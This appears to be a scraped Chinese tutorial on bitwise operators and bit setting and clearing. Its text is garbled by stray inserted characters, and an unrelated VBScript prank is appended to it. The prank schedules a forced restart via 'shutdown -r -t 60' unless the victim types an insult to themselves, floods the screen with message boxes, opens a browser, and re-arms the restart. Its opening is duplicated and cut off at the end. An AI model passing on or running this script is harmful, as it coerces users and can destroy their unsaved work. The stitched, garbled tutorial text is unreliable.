一、什么是位運(yùn)算便斥?
位運(yùn)算則是對二進(jìn)制一系列的變化至壤。常用運(yùn)算符有:位與(&),位或(|)枢纠,異或(^)像街,取反(~),左移(《),右(》)镰绎。
二脓斩、位運(yùn)算的邏輯
位運(yùn)算的邏輯
(&)與運(yùn)算符
兩者為真,結(jié)果就為真畴栖,有一個結(jié)果為假俭厚,結(jié)果都為假。
(|)或運(yùn)算符
兩者驶臊,有一個結(jié)果為真挪挤,就為真,兩者為真結(jié)果都為真关翎。
(^)異或運(yùn)算符
兩者相同扛门,結(jié)果就為假,否則就為真纵寝。
(《)或(》)位移操作符
邏輯位移论寨,不考慮最高位符號問題,向右移在最高位補(bǔ)0爽茴,向左移在最低位補(bǔ)0葬凳,即可。
算數(shù)位移室奏,原數(shù)值進(jìn)行右移后火焰,需要保證符號不變,向右移時用符號位數(shù)值填補(bǔ)胧沫,即可昌简,向左移就用0。
一般形式:<運(yùn)算量><運(yùn)算符><表達(dá)式>其中:
<運(yùn)算量>必須為整形結(jié)果數(shù)值
<運(yùn)算符>為(《)左位移绒怨、(》)右位移
<表達(dá)式>也必須為整形結(jié)果的數(shù)值
位運(yùn)算的清0和置1操作纯赎、
x|=(1<<y)//將x的第y位置1
x&=~(1<<y)//將x的第y位清0
清0時用與符號(&)
例題:
清零是用與符號(&)
請把0xd5的第2位進(jìn)行清零操作
1101 0101 想得到的結(jié)果:1101 0001
&
1111 1011
~
0000 0100 結(jié)果:0000 0001 <<2等價于0x1
~(0x01<<2)&0xD5
置1時用或符號(|)
請把0xc7的第3—5位置1
1100 0111 想得到的結(jié)果:1111 1111
|
0011 1000 結(jié)果:0x07<<3
(0x07<<3)|0xc7
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框里輸入我是豬,否則后果自負(fù),快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行了嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山里有個廟.",4096+64
MsgBox"廟里有個老和尚在講故事.",4096+64
ws.run"iexplore.exe http://www.baidu.com"
msgbox"哎呀累了南蹂!數(shù)綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"只綿羊",4096+64
next
msgbox"哎呀我困了犬金,這次就饒過你吧,下次注意哦!",4096+64
msgbox"最后問個問題六剥,我是不是大好人晚顷!",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框里輸入我是豬,否則后果自負(fù),快輸""我是豬"" ","輸不輸","")